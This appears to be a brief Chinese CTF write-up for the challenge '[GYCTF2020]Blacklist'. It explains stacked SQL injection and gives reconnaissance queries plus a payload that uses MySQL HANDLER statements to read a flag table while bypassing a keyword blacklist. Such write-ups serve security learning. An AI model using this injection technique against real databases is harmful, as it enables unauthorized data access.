[GYCTF2020]Blacklist

 

知识点

• 堆叠注入
  参考堆叠注入tips
  查表名、列名、字段名

show databases;
show tables;
show columns from `table_name`;

 

本题使用HANDLER查看flag

1';
handler FlagHere open;
handler FlagHere read first;
handler FlagHere close;#